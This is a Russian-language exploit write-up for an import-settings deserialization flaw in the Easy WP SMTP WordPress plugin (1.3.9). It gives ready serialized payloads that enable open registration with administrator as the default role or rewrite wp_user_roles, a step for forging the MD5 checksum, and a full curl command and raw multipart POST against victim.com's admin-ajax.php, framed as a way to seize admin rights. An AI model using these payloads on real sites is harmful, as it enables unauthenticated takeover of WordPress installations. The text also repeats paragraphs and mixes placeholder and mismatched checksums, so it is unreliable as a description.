Easy WP SMTP – популярный плагин WordPress для отправки почты через SMTP. В уязвимых версиях (особенно в релизе 1.3.9, предшествовавшем 1.3.9.1) был обнаружен критический недостаток, связанный с небезопасным использованием функции PHP unserialize(). Эта уязвимость позволяет удаленному атакующему (даже без аутентификации) подделать данные конфигурации плагина и тем самым модифицировать любые опции WordPress, что в итоге ведет к компрометации сайта
Причина – в обработке импортируемых настроек плагина: содержимое загружаемого файла десериализуется без достаточной проверки, открывая дорогу для PHP Object Injection (внедрения произвольных объектов при десериализации) и, как следствие, потенциального выполнения произвольного кода на сервере.
В этом сериализованном PHP-массиве a:2:{...} два элемента:
Шаг1: Создаём пэйлоад
Это меняет глобальные роли WordPress так, чтобы только ваш юзер получил роль администратора,вместо октрытия регистрации и назначения новых юзеров админами,так же можно сделать админами всех юзеров
Шаг2: Считаем МД5
Вставляем в наш пэйлоад результат ,в данном случае 2a4aa825ccfb0cb0943c2f35a93f88c9
Шаг3: Отправляем пэйлоад ,можно курлом ,мужно мультипартом в бурпе
или
по итогам у вас будет доступна регистрация ,либо можно назначить конкретного юзера от которого вы знаете роль например customer,subscriber,custom и дать только юзерам со специфичной ролью права админа
Причина – в обработке импортируемых настроек плагина: содержимое загружаемого файла десериализуется без достаточной проверки, открывая дорогу для PHP Object Injection (внедрения произвольных объектов при десериализации) и, как следствие, потенциального выполнения произвольного кода на сервере.
POC
Чтобы проиллюстрировать уязвимость, рассмотрим Proof of Concept (PoC)-эксплойт, позволяющий злоумышленнику включить регистрацию новых пользователей на сайте и автоматически присвоить им права администратора. Воспользовавшись уязвимостью, атакующий может изменить опции WordPress users_can_register (разрешить регистрацию) и default_role (роль по умолчанию) – и тем самым получить полный контроль над сайтом, создав нового пользователя. Ниже приведены шаги эксплуатации и фрагменты кода.- Подготовка вредоносного файла настроек. Атакующий создаёт файл (например, /tmp/upload.txt) со специально сформированным сериализованным содержимым. Это содержимое имитирует экспорт настроек плагина, однако поля data и checksum в нём сконструированы злоумышленником. Поле data содержит сериализованные значения опций WordPress, которые нужно изменить, а checksum – соответствующую контрольную сумму (MD5) для обхода простой проверки целостности. Пример содержимого файла:
PHP:
a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}
В этом сериализованном PHP-массиве a:2:{...} два элемента:
- data – строка длиной 81 символ, которая сама является сериализованным массивом из двух пар ключ-значение: users_can_register = "1" и default_role = "administrator".
- checksum – строка из 32 символов (MD5-хеш), рассчитанная на основе строки в data. В данном случае MD5 соответствует содержимому data, поэтому плагин примет файл как «корректный».
- Отправка запроса на импорт настроек. Далее злоумышленник отправляет HTTP-запрос к скрипту WordPress /wp-admin/admin-ajax.php, имитируя действие импорта настроек Easy WP SMTP. В запросе передаются: параметр action=swpsmtp_clear_log (чтобы инициировать хук admin_init, где скрыто происходит обработка импорта), флаг swpsmtp_import_settings=1, а также файл с данными (swpsmtp_import_settings_file) – тот самый сериализованный payload. Это можно сделать, например, с помощью curl:
- Результат PoC.Плагин Easy WP SMTP обработает загрузку файла как импорт настроек. В уязвимой версии код выполнит:
- unserialize() содержимого файла (получив массив с ключами data и checksum),
- проверит наличие и соответствие checksum (которая совпадает, так как атакующий её подделал),
- затем вызовет повторный unserialize() на поле data
Далее плагин вызывает функцию update_option для каждого ключа этого массива
Это означает, что опции WordPress users_can_register и default_role в таблице wp_options будут обновлены на заданные значения.
В итоге плагин получит массив array("users_can_register"=>"1", "default_role"=>"administrator").
Шаг1: Создаём пэйлоад
PHP:
a:2:{s:4:"data";s:111:"a:1:{s:11:"wp_user_roles";s:67:"a:1:{s:13:\"administrator\";a:1:{s:4:\"name\";s:13:\"Administrator\";}}";}";s:8:"checksum";s:32:"MD5_CHECKSUM";}
Это меняет глобальные роли WordPress так, чтобы только ваш юзер получил роль администратора,вместо октрытия регистрации и назначения новых юзеров админами,так же можно сделать админами всех юзеров
Шаг2: Считаем МД5
Bash:
└──╼ $echo -n 'a:1:{s:13:\"administrator\";a:1:{s:4:\"name\";s:13:\"Administrator\' | md5sum
Шаг3: Отправляем пэйлоад ,можно курлом ,мужно мультипартом в бурпе
Код:
curl https://victim.com/wp-admin/admin-ajax.php \
-F 'action=swpsmtp_clear_log' \
-F 'swpsmtp_import_settings=1' \
-F 'swpsmtp_import_settings_file=@payload.txt'
или
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456
...
------WebKitFormBoundary123456
Content-Disposition: form-data; name="action"
swpsmtp_clear_log
------WebKitFormBoundary123456
Content-Disposition: form-data; name="swpsmtp_import_settings"
1
------WebKitFormBoundary123456
Content-Disposition: form-data; name="swpsmtp_import_settings_file"; filename="payload.txt"
Content-Type: text/plain
a:2:{s:4:"data";s:111:"a:1:{s:11:"wp_user_roles";s:67:"a:1:{s:13:\"administrator\";a:1:{s:4:\"name\";s:13:\"Administrator\";}}";}";s:8:"checksum";s:32:"MD5_CHECKSUM";}
------WebKitFormBoundary123456--
по итогам у вас будет доступна регистрация ,либо можно назначить конкретного юзера от которого вы знаете роль например customer,subscriber,custom и дать только юзерам со специфичной ролью права админа